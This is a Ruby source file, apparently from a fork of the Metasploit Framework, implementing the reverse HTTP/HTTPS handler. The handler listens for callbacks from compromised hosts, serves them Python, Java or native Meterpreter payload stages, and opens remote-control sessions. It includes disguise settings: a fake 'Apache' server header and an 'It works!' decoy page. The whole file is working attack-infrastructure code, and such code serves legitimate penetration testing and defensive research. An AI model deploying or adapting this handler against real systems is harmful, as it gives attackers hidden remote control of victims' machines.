Files
metasploit-gs/lib/msf/core/handler/reverse_http.rb
T
David Maloney 43942e6029 refactor pem parser to use the rex-socket gem version
use rex-socket's pem aprser instead of the old one we used
to have in rex::parser

MS-1715
2016-09-07 11:38:27 -05:00

453 lines
14 KiB
Ruby

# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter'
require 'rex/socket/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
require 'rex/user_agent'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttp
include Msf::Handler
include Msf::Handler::Reverse
include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
#
def self.handler_type
return 'reverse_http'
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptString.new('LHOST', [true, 'The local listener hostname']),
OptPort.new('LPORT', [true, 'The local listener port', 8080]),
OptString.new('LURI', [false, 'The HTTP Path', ''])
], Msf::Handler::ReverseHttp)
register_advanced_options(
[
OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]),
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
], Msf::Handler::ReverseHttp)
end
def print_prefix
if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
else
super
end
end
# A URI describing where we are listening
#
# @param addr [String] the address that
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
addr = datastore['LHOST'] if addr.nil? || addr.empty?
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}#{luri}"
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @param req [Rex::Proto::Http::Request]
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri(req=nil)
callback_host = nil
# Extract whatever the client sent us in the Host header
if req && req.headers && req.headers['Host']
callback_host, callback_port = req.headers['Host'].split(":")
callback_port = callback_port.to_i
callback_port ||= (ssl? ? 443 : 80)
end
# Override the host and port as appropriate
if datastore['OverrideRequestHost'] || callback_host.nil?
callback_host = datastore['OverrideLHOST']
callback_port = datastore['OverrideLPORT']
end
if callback_host.nil? || callback_host.empty?
callback_host = datastore['LHOST']
end
if callback_port.nil? || callback_port.zero?
callback_port = datastore['LPORT']
end
if Rex::Socket.is_ipv6? callback_host
callback_host = "[#{callback_host}]"
end
"#{scheme}://#{callback_host}:#{callback_port}"
end
# Use the #refname to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index('https'))
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
(ssl?) ? 'https' : 'http'
end
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
def luri
l = datastore['LURI'] || ""
if l && l.length > 0
# strip trailing slashes
while l[-1, 1] == '/'
l = l[0...-1]
end
# make sure the luri has the prefix
if l[0, 1] != '/'
l = "/#{l}"
end
end
l.dup
end
# Create an HTTP listener
#
# @return [void]
def setup_handler
local_addr = nil
local_port = bind_port
ex = false
# Start the HTTPS server service on this host/port
bind_addresses.each do |ip|
begin
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port, ip, ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
nil,
(ssl?) ? datastore['HandlerSSLCert'] : nil
)
local_addr = ip
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
else
ex = false
break
end
end
raise ex if (ex)
self.service.server_name = datastore['MeterpreterServerName']
# Add the new resource
service.add_resource((luri + "/").gsub("//", "/"),
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
if datastore['IgnoreUnknownPayloads']
print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted")
end
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
if self.service
self.service.remove_resource((luri + "/").gsub("//", "/"))
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
end
end
attr_accessor :service # :nodoc:
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ''
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ''
info[:username] = datastore['PayloadProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ''
info[:password] = datastore['PayloadProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
def on_request(cli, req)
Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid] || Msf::Payload::UUID.new
# Configure the UUID architecture and payload if necessary
uuid.arch ||= self.arch
uuid.platform ||= self.platform
conn_id = luri
if info[:mode] && info[:mode] != :connect
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id.chomp('/')
end
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
print_status("Ignoring unknown UUID: #{request_summary}")
info[:mode] = :unknown_uuid
end
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
unless allowed_urls.include?(req.relative_resource)
print_status("Ignoring unknown UUID URL: #{request_summary}")
info[:mode] = :unknown_uuid_url
end
end
self.pending_connections += 1
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("Redirecting stageless connection from #{request_summary}")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
# Hurl a TLV back at the caller, and ignore the response
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE,
'core_patch_url')
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python
print_status("Staging Python payload...")
url = payload_uri(req) + conn_id + '/'
blob = ""
blob << self.generate_stage(
http_url: url,
http_user_agent: datastore['MeterpreterUserAgent'],
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_java
print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00"
blob = self.generate_stage(
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_native
print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00"
uri = URI(payload_uri(req) + conn_id)
resp['Content-Type'] = 'application/octet-stream'
begin
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
blob = self.stage_payload(
uuid: uuid,
uri: conn_id,
lhost: uri.host,
lport: uri.port
)
resp.body = encode_stage(blob)
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
return
end
when :connect
print_status("Attaching orphaned/stageless session...")
resp.body = ''
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
p url
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url + "\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
else
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp.code = 200
resp.message = 'OK'
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
self.service.close_client(cli)
end
end
end
end